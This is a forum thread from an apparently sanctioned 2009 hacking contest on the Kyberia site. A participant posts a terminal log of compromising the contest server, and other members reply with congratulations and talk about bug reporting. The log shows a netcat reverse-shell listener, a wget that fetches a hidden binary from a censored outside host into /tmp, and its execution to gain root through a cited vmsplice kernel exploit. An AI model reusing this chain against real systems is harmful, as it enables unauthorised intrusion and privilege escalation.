24.04.2009-14:08:40 :: Remember, remember, the velvet November


node:	24.04.2009-14:08:40
template:	4
parent:	--- kyberia hack contest ---
owner:	miloo
viewed by:
created:	24.04.2009 - 14:08:40

cwbe coordinatez:
101
63540
1701996
4658010
4664877

ABSOLUT
KYBERIA

permissions
you:	r,
system:	public
net:	yes

code execution ;)

uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux chrome 2.6.22.13 #1 SMP Mon Nov 19 10:33:03 CET 2007 x86_64 GNU/Linux

000001010006354001701996046580100466487704666723

000001010006354001701996046580100466487704665797

Prihazuju :o)

Linux chrome 2.6.22.13 #1 SMP Mon Nov 19 10:33:03 CET 2007 x86_64 GNU/Linux
http://milw0rm.com/exploits/5092
* Linux vmsplice Local Root Exploit
* By qaaz
*
* Linux 2.6.17 - 2.6.24.1

00000101000635400170199604658010046648770466579704665860

tak daj.... ;)

0000010100063540017019960465801004664877046657970466586004665918

no pevne doufam, ze i pres starou verzi je tam patch ;)

000001010006354001701996046580100466487704665797046658600466591804666256

root@atwork:~# nc -vv -l -p 666
listening on [any] 666 ...
Warning: forward host lookup failed for DOMAIN_NAME_CENSORED: Unknown host : Connection timed out
connect to [CENSORED] from DOMAIN_NAME_CENSORED [CENSORED] 53013
id;
uid=33(www-data) gid=33(www-data) groups=33(www-data)
wget http://*********/.x0 -O /tmp/.x0;
--04:26:20-- http://*********/.x0
=> `/tmp/.x0'
Connecting to *********:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 612,690 (598K) [text/plain]

0K .......... .......... .......... .......... .......... 8% 666.61 KB/s
50K .......... .......... .......... .......... .......... 16% 843.18 KB/s
100K .......... .......... .......... .......... .......... 25% 753.26 KB/s
150K .......... .......... .......... .......... .......... 33% 966.99 KB/s
200K .......... .......... .......... .......... .......... 41% 1.09 MB/s
250K .......... .......... .......... .......... .......... 50% 1009.08 KB/s
300K .......... .......... .......... .......... .......... 58% 1.33 MB/s
350K .......... .......... .......... .......... .......... 66% 1.32 MB/s
400K .......... .......... .......... .......... .......... 75% 1.35 MB/s
450K .......... .......... .......... .......... .......... 83% 1.64 MB/s
500K .......... .......... .......... .......... .......... 91% 1.67 MB/s
550K .......... .......... .......... .......... ........ 100% 2.06 MB/s

04:26:21 (1.08 MB/s) - `/tmp/.x0' saved [612690/612690]

chmod +x /tmp/.x0;
/tmp/.x0;
bash: no job control in this shell
root@chrome:~# id;
uid=0(root) gid=0(root) groups=33(www-data)
root@chrome:~# touch /root/G4m3_0v3R;

00000101000635400170199604658010046648770466579704665860046659180466625604679717

rspct :)

00000101000635400170199604658010046648770466579704665860046659180466625604667210

w00t
pekne, na istotu :]

00000101000635400170199604658010046648770466579704665860046659180466625604666563

klobuk dole

00000101000635400170199604658010046648770466579704665860046659180466625604666332

nuz ,uz ta nikto asi neporazi :D congratz:) ono je najhorsie ze som hned bug reportol a hned sa fixol... keby som ho nereportol mohol som mat shell aj ja:) lenze tym ze ho nereportnem riskujem ze ho sem da niekto iny.... :))

0000010100063540017019960465801004664877046657970466586004665918046662560466633204666472

ano, ale neviem ako rozumne to v pravidlach vyriesit...
miloo to tiez reportoval, akurat bugfixer nebol na nete zrovna, co si mal ty smolu, ze tvoj include bol opraveny skoro hned;)

Ale este by som to nevzdaval, nejake bugy by sa este "mohli" najst...

000001010006354001701996046580100466487704665797046658600466591804666256046663320466647204666482

tak tak :) mne hned po postnuti napisal freezy na icq a fixol to :) ale tak nevadi ... toto je moj 1 contest tak aspon viem dobuducna:)snad sa este podari nieco.. cas este je:)

00000101000635400170199604658010046648770466579704665860046659180466625604666262